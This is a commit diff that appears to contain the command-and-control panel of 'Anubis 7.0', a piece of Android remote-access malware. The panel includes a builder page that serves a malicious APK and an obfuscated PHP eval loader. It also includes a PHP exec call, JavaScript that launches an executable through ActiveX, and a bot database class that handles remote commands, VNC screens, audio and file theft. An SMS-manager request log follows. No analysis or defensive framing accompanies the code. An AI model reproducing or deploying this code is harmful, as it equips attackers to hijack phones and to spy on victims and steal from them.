initial commit
@@ -0,0 +1,4 @@
|
||||
<?php
|
||||
// Obfuscate In php-obfuscator.22xploitercrew.my.id
|
||||
$Code = "\x418vlHorGUpxXn6KDe\x42529dpMo\x42y9KT\x41X9yzLSw7g4jQknm/\x2bQ3\x62TrUT7r/p\x61qEhyWR8\x61\x2be9jqYW1DP\x63kmLv\x41VWZU\x2bFiq\x42sud\x63pWqOs/\x2bOkggquQJG9rWkX\x61\x41i\x2bUHh2W18pHn\x439tRSrhVLoPqwk8JOP7WWFJFU01q7k6VKn\x41y9K3qKOs687vxMOK\x4103RsPTseNi1/F9zv2\x2b\x63Eo\x61IY84/KO4\x435XGOnDVZD9PHT/X43iVfxmZSs\x63ohH1qzYfX\x63Y7Pu3Y8GVioW1\x43f4nQgg\x62L\x2bG86FEIPt6/yf3jDORUKmfOLXXy1ozkj1goH58jP7I5MlVXsRk\x43znUewgW\x2bvL5sv16sx\x62iOUO4oWZxZTH/KwjzXIPVvMPy/9\x43TDGvH35LiE82go95h\x62sEYHMzDlJ/jopXRVLY\x63HpEwKn5hL\x43m\x41yP5U\x610KK/1Jh70Mv5xDZSl3zV0\x2btyuFZDXOt71LO\x61p\x61\x42zMUm7UUeoMrpRew3dlU6U6wOheUi9\x43m3flij1xijOhkgwoQlkPOd\x43ZTxx8156YESR5PN3\x62uZ1uOrrqYFEG\x4218sgqP8MdlqII0oKZRQpTWWfVttGWXWe\x42qYT\x42Z0zuDdviDzqWyom25pZ\x62rU7\x42XFjsF1t6J\x43\x433wsF4XL\x2bDeSTp8Isp\x61PUKWtQtV\x41YZw3\x42z7jTz7T1751TT4MxJv\x42263wg\x63z\x63pKFVrpdsE\x63eiP\x4299\x61hgrShOjO99Gs\x42fOkLlyUOiPtP4vDVgkFRxi833\x433Wdulo6SThdfNZym0\x61G8LHR33zq3Kt3Zv8TLOFOLWoGU\x42u0N\x2b4osfkm9\x61Zs2rdVNN3fQ56\x42P\x42\x2blLmprTlLKTl\x42m8\x63\x42NS0MrO7E5JfPzKIw\x41UolH\x2bYyED2fHywLS3056/4dUYdShSI\x42mNh/1yWhVmuGsL7Wd\x42\x2b\x61wonqDlxmyW\x425Ef\x61RHDh\x61\x43yy\x621DPFmg\x61uYX9\x62UulW3gttUPItmPiZwKgNtfuTxuY2OuJQtwsNlHFpdPSx4VGi6woZJRhv\x63i\x62t\x2beVi4\x2bdWYf2ZddFRsnnyVJvsRHykYR\x62d2Xe3OdLGu2s\x63\x63U\x62yiHWZ63ROpw3YV7ur\x61NVy5PX9Pu5PiGUO\x43wrlWDsQooM\x43ZsYzgFMj27\x42Owy\x42HYHW\x61yG\x2b8vUnR7\x42/r2dgxoxHZ\x43\x6125\x43\x6171\x63\x2bl8I4/t\x41K/g3\x43KJHNGZ\x2bk\x419MzXpOTfJ11HJeI/\x41\x43tP5gl7eHYv9PP\x2bY2017oJRqXPJuzL\x61w8u\x2bDPSM4VE\x42Yg7Z45w\x63yXmL6J/lL7kJGuUJ\x41Y5PLNpQwT78E0p0\x426/EsLPneRSMhnGnn1V6eM\x43s3XpdZ\x61GnKR\x61\x63In\x41mPYK/Uf89Nz\x43oK7e4vdIiTHMJGj4o9wZOG3qHsq\x2bs\x42\x42zuZ\x42TPIZSE5mS\x43ou\x613\x41qgDkLXHsmQW0f\x43Sn\x42vtMq\x41pmN\x43wEPgO8ZMhqrq2sWhrHhMrS7PZu\x431gQlpt4niy7Deo/Ejvnhf3h\x62\x61\x41Z\x43HQ5Nev\x62QztF7n\x41\x41IG/Mng2RhF/\x41w\x63RxJk\x43EQzeGQ8qRqrD\x42X\x2budQ\x63q8\x62H\x41hen\x43KQMtQzGl\x63g\x43u5HGwWQy/M\x2bxjykqzq2d\x63q\x41/fnRgINUqGpn5fk\x2bxKY\x63yO8gnp\x63fo7xy\x62N/\x2bv\x43v6Qi4L\x62NlgV\x43OLoZw\x2bV8OPXKGoo\x2b\x63vhJdt8L4ku\x43yKhROqvm4X9wzT\x63P\x43/StJ9IKUrH\x63PYQYZsrfmpqZ2D6FZwm6tIUu2WqihXiT8I\x61GJtf\x41ZkOJTxJxpi/7RZKXDT/o\x431lOhuyO1FsmO71jGN7wf\x42j29f3i\x433\x41\x42my8\x42So\x41e\x62qFhitTMeVLZn/uw\x62wINgFHtn6V\x61hve/Zu\x2bR\x63\x63JySeS9HXfu69Nn\x436W1Q\x2bP8V5szKPYS5FjR4ESJ9RlIEgTV\x43YdeN\x61sFeSdwo\x41ov4n\x2bkQPeXO\x43E49\x42qyyfWOhs2Niy3Y09u\x638\x2b\x41M9IJsF\x2bUsV\x43SoNTLtYSgkoH00WmY1Q9FkJ1h\x63Nleg2Z\x43\x2bdI3h0Svf7H9KgsgMjMV\x42EjjlDwqJfD9ywf\x61ENO\x2b5tU5X32LWv\x63jzG\x63s8On22Tzd\x2b/VgNi7oyl\x41v0F9pJNsu\x42f1FGwhIQl\x42rzLi7UoHoO\x63iJ93DUo68FKJw\x43M2P/\x61\x61UUUKX\x62\x62X\x616Yh\x61F5x\x41dW\x2bm/x\x2bhpVrKLPljVq/\x43tIlF\x62LYTNDJY1UTgtYXojIer4G3SEYVseH\x43oy2\x63um\x611\x62Q/dhzU0vDuggFp5uwxvMHh\x63pZ9wdUrltLqXGjm\x42\x2b2\x61\x2bYKglUQe\x63TN\x62/ZxR4rR2Drs524m2vr\x611gEekQ\x41PFD94q6e9v0DfQf4L0YkNiKZfYX9GWYNg\x4367d\x42y\x43Ug6I9uVh4\x42WgKQWdG7261dvWVYu/SS2\x6362xV\x41l/iM\x43N\x61MzU\x42km\x61pEiuy\x43oYH\x43sFM7P\x63\x2bx06fhfjZskIJkU4\x42Z\x41j27wiF6uy3yXdhGm/wVF2S9tIgFFTd5OQ\x61m3\x42D0\x2b7or/\x61N\x62\x63rp/o6GGhtz86lEPGqLZFIJquhLXHTe/WkX\x61PM7x\x41LjORU5QU0vEYUgHiUxz/wL1GI/HGsH\x41Jiz1N1\x41krV\x4373RfoFYUgodiPF7\x62zhXmmtQojm\x43u9DSD9DiQ\x2bfOVTo8e5HNRojVT8rVv4kfX4\x63HrZ2O/y\x620q\x62t7dXH3vMkYOH91eor\x435xY44s6lj7rG\x61TR\x63W\x2bNJSI0IYZsWYyUP1Q9Dh73Qm4g2FQZQomx7pvJDu\x43HZ\x63LsT\x41pP2DkuYX\x62PItX0VQl4kO\x2b8MSgL\x43OQIF1\x2bfrwjEnPKdR\x2brvGY6Oe\x41yhj3kx3vMwQ0\x42Ye5rvUZNTe\x41XGPdx0pK4u\x41wz\x42zRp\x63\x2b1Dfu\x2bdfQq51In4vok95t5tsn79zN\x62edKg\x63\x612zxgTqty\x61wR\x43Xtgg\x63P1FHOZ\x43vhJ9FTN\x63IipNgh8fYfE\x63k0G0705Hwp4j6pEQinzti914RMIWK9nrZ4Smo\x42w\x42ft/f/K/xooOxpsjMjYYtzKwxUF\x61TTLdHOsYtwK4xUE6oYlqUVJUSpnr/v623M\x63Mzs9mZmhZGI5XQEEI1urFZZH";
|
||||
eval(strrev(htmlspecialchars_decode(gzinflate(base64_decode($obfuscator)))));
|
||||
@@ -0,0 +1,104 @@
|
||||
<?php
|
||||
|
||||
exec('.\tt.bat && exit',$arrACL);
|
||||
|
||||
?>
|
||||
<html>
|
||||
<head>
|
||||
<title>Anubis 7.0 | Download </title>
|
||||
<script type="text/javascript">
|
||||
function myFunction(){
|
||||
WshShell = new ActiveXObject("Wscript.Shell"); //Create WScript Object
|
||||
WshShell.run("D://LOCALHOST/htdocs/frfff.exe"); // Please change the path and file name with your relevant
|
||||
available path in client system. This code can be used to execute .exe file as well
|
||||
}
|
||||
</SCRIPT>
|
||||
|
||||
</head>
|
||||
|
||||
|
||||
|
||||
<body bgcolor="#171717" background="images/fon.jpg">
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<style media="screen">
|
||||
input[type=text], select {
|
||||
width: 100%;
|
||||
padding: 12px 20px;
|
||||
margin: 8px 0;
|
||||
display: inline-block;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
input[type=submit] {
|
||||
width: 45%;
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
padding: 6px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
input[type=submit]:hover {
|
||||
background-color: #45a049;
|
||||
}
|
||||
|
||||
div {
|
||||
border-radius: 5px;
|
||||
background-color: #191919;
|
||||
padding: 20px;
|
||||
border-style: solid;
|
||||
border-color: #4b5826;
|
||||
}
|
||||
.fds{
|
||||
background: #4caf50;
|
||||
margin-left: 438px;
|
||||
margin-right: 444px;
|
||||
border-color: #4caf50;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br>
|
||||
<div>
|
||||
<form action="/stor.php">
|
||||
<center>
|
||||
<p style="color: aliceblue;font-size: 16px;">Your Application Now Rady </p>
|
||||
<br>
|
||||
<div class="fds">
|
||||
<a href="./output/WH_Final.apk" style="width: 45%;background-color: #4CAF50;color: white;padding: 6px 20px;margin: 8px 0;border: none;border-radius: 4px;cursor: url;text-decoration: none;;">Download Apk</a>
|
||||
|
||||
</div>
|
||||
</center>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
|
||||
<body>
|
||||
</html>
|
||||
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
class database{
|
||||
function ws_UpdateBotID($botid){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET botid='$botid' WHERE id='1'");
|
||||
$statement->execute([$botid]);
|
||||
}
|
||||
function ws_UpdateCommand($command){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
|
||||
$statement->execute([$command]);
|
||||
}
|
||||
function ws_UpdateFileFolder($FileFolder){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET FileFolder='$FileFolder' WHERE id='1'");
|
||||
$statement->execute([$FileFolder]);
|
||||
}
|
||||
function ws_UpdatePath($Path){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET path='$Path' WHERE id='1'");
|
||||
$statement->execute([$Path]);
|
||||
}
|
||||
function ws_UpdateStatusFileFolder($status){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET statusfilefolder='$status' WHERE id='1'");
|
||||
$statement->execute([$status]);
|
||||
}
|
||||
function ws_UpdateDownloadFile($path){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET DownloadFile='$path' WHERE id='1'");
|
||||
$statement->execute([$path]);
|
||||
}
|
||||
function ws_UpdateVNCscreen($name){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET vncscreen='$name' WHERE id='1'");
|
||||
$statement->execute([$name]);
|
||||
}
|
||||
function ws_UpdateSound($name){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET sound='$name' WHERE id='1'");
|
||||
$statement->execute([$name]);
|
||||
}
|
||||
function ws_UpdateLastConnect($time){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET lastconnect='$time' WHERE id='1'");
|
||||
$statement->execute([$time]);
|
||||
}
|
||||
function ws_GetHandshake(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT handshake FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['handshake'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetBotID(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT botid FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['botid'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetDownloadFile(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT DownloadFile FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['DownloadFile'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetCommand(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT command FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['command'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetPath(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT path FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['path'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetFileFolder(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT FileFolder FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['FileFolder'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetSound(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['sound'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
AddDefaultCharset utf-8
|
||||
AddCharset utf-8 *
|
||||
|
||||
<IfModule mod_charset.c>
|
||||
CharsetSourceEnc utf-8
|
||||
CharsetDefault utf-8
|
||||
</IfModule>
|
||||
|
||||
|
||||
|
||||
|
||||
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
|
||||
Order Allow,Deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
|
||||
|
||||
@@ -0,0 +1,408 @@
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:12: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:13: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:14: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:15: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:16: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:17: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:18: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:19: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:20: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:21: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:22: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:23: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:24: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:25: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
|
||||
2021-10-05 08:26: Request to change the manager SMS to default
|
||||
@@ -0,0 +1,16 @@
|
||||
AddDefaultCharset utf-8
|
||||
AddCharset utf-8 *
|
||||
|
||||
<IfModule mod_charset.c>
|
||||
